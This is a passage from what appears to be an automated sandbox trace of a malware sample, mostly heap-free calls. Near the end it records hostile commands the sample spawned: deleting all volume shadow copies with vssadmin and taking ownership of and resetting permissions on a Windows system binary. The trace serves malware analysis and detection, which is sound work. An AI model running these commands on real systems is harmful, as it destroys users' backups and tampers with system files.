Flags=0x0, BaseAddress=0x3ef610) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x549fa8) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097f8) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef8b8) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef830) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef588) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef7a8) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509840) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efad8) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efa50) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef9c8) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a0b0) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509888) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efc70) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efbe8) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efb60) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5098d0) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a258) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a1d0) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efd80) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efcf8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509918) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a478) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a3f0) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a368) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a2e0) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509960) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a698) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a610) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a588) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a500) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099a8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a8b8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a830) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a7a8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a720) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099f0) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54aad8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54aa50) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a9c8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a940) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509a38) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54acf8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ac70) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54abe8) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ab60) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509a80) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54af18) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ae90) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ae08) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ad80) returned 1 [0036.435] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509ac8) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b1c0) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b138) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b0b0) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54afa0) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509648) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b3e0) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b358) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b248) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b2d0) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b10) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b600) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b578) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b468) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b4f0) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509b58) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b820) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b798) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b688) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c1b8) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509ba0) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b9b8) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b930) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b8a8) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b710) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509be8) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bbd8) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bb50) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bac8) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ba40) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c30) returned 1 [0036.436] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bdf8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bd70) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bce8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bc60) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c78) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c018) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bf90) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bf08) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54be80) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509cc0) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502e88) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502e00) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c128) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c2c0) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d08) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5030a8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503020) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502f10) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502f98) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d50) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5032c8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503240) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5031b8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503130) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d98) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5034e8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503460) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5033d8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503350) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509de0) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503708) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503680) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5035f8) returned 1 [0036.437] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503570) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e28) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503928) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5038a0) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503818) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503790) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c3e0) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503b48) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503ac0) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5039b0) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503a38) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c428) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503d68) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503ce0) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503bd0) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503c58) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c470) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503df0) returned 1 [0036.438] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503e78) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c0a0) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d490) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c4b8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504098) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504010) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503f00) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503f88) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c500) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5042b8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504230) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5041a8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504120) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c548) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5044d8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504450) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504340) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5043c8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c590) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5046f8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504670) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5045e8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d598) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c5d8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504890) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504808) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504780) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d6a0) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c620) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504a28) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5049a0) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504918) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d7a8) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c668) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504bc0) returned 1 [0036.439] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504b38) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504560) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504ab0) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c6b0) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b028) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504d58) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504cd0) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504c48) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c6f8) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504f98) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504f10) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504e88) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x504e00) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c740) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5051b8) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505020) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5050a8) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505130) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c788) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5053d8) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505350) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5052c8) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505240) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c7d0) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5055f8) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505570) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5054e8) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505460) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c818) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505818) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505790) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505708) returned 1 [0036.440] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d8b0) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c860) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5059b0) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505928) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5058a0) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d9b8) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c8a8) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505b48) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505ac0) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505680) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505a38) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c8f0) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505d68) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505ce0) returned 1 [0036.441] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505c58) returned 1 [0036.443] CloseServiceHandle (hSCObject=0x6637d8) returned 1 [0036.443] ReleaseMutex (hMutex=0x13c) returned 0 [0036.444] GetLastError () returned 0x120 [0036.445] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1")) returned 1 [0036.447] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0036.447] ExitProcess (uExitCode=0x0) Thread: id = 4 os_tid = 0x958 Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4ed89000" os_pid = "0x960" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x94c" cmd_line = "C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0x964 Thread: id = 7 os_tid = 0x9a0 Thread: id = 8 os_tid = 0x9b0 Thread: id = 9 os_tid = 0x9b4 Thread: id = 10 os_tid = 0x9b8 Process: id = "4" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x4f92e000" os_pid = "0x988" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x94c" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\ehome\\ehRecvr.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 6 os_tid = 0x98c Thread: id = 11 os_tid = 0x9d4 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4eedc000" os_pid = "0x9c0" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x960" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:000516f0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 12 os_tid = 0x9e4 Thread: id = 13 os_tid = 0x9e0 [0030.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf8d9b0 | out: lpSystemTimeAsFileTime=0xf8d9b0*(dwLowDateTime=0x28443d10, dwHighDateTime=0x1d59598)) [0030.212] GetCurrentProcessId () returned 0x9c0 [0030.212] GetCurrentThreadId () returned 0x9e0 [0030.212] GetTickCount () returned 0x1142627 [0030.212] QueryPerformanceCounter (in: lpPerformanceCount=0xf8d9b8 | out: lpPerformanceCount=0xf8d9b8*=15044814195) returned 1 [0030.212] malloc (_Size=0x100) returned 0x618e80 Thread: id = 14 os_tid = 0x9dc Thread: id = 15 os_tid = 0x9d8 Thread: id = 16 os_tid = 0x9c4 Thread: id = 17 os_tid = 0x9e8 Thread: id = 18 os_tid = 0x9ec Thread: id = 305 os_tid = 0xa1c Thread: id = 320 os_tid = 0xa68 Process: id = "6" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4fa36000" os_pid = "0x9f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x94c" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\ehome\\ehRecvr.exe /reset" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x9f4 Process: id = "7" image_name = 